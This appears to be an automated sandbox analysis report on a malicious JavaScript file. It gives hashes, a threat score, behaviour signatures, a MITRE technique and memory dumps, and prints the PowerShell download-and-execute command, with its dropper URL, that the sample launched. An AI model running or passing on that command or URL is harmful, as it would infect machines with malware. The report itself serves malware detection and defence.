bcb732a5f458d792a47f2bd444d0c48d266db721f01450c539719a1e37653a13

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
05-03-2024 02:41

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General

Target

bcb732a5f458d792a47f2bd444d0c48d266db721f01450c539719a1e37653a13.js
Size

67KB
MD5

00de3913fd5e4bb0d9284b180bfbd956
SHA1

6af05b012b8c828a42acf476a5e0332aa6c4bd9d
SHA256

bcb732a5f458d792a47f2bd444d0c48d266db721f01450c539719a1e37653a13
SHA512

f47a3cdd66286792fdde690268baa1f8b8776e3c619ceccd341421e4e63bfac26554db0f7b98b9ebba559b375d50a8498727bc7771d18b207fd1bf0c4255c684
SSDEEP

1536:RZd77OUymTHj+bKqlqH79yuZ0aENJUWGkcXu+1LKPuJ7yNkZ7FXTh:R/aUyaHjqqH7ouZHmJUWvQEPuJ7ySZ7n

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://compactgrill.hu/care.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2136	powershell.exe
4	2136	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2136	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2136	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1728 wrote to memory of 2136	1728	wscript.exe	28
PID 1728 wrote to memory of 2136	1728	wscript.exe	28
PID 1728 wrote to memory of 2136	1728	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\bcb732a5f458d792a47f2bd444d0c48d266db721f01450c539719a1e37653a13.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://compactgrill.hu/care.txt')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2136

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2136-4-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2136-6-0x00000000027A0000-0x00000000027A8000-memory.dmp

Filesize
32KB

Download
memory/2136-5-0x000007FEF5910000-0x000007FEF62AD000-memory.dmp

Filesize
9.6MB

Download
memory/2136-7-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/2136-9-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/2136-8-0x000007FEF5910000-0x000007FEF62AD000-memory.dmp

Filesize
9.6MB

Download
memory/2136-10-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/2136-11-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/2136-12-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/2136-13-0x000007FEF5910000-0x000007FEF62AD000-memory.dmp

Filesize
9.6MB

Download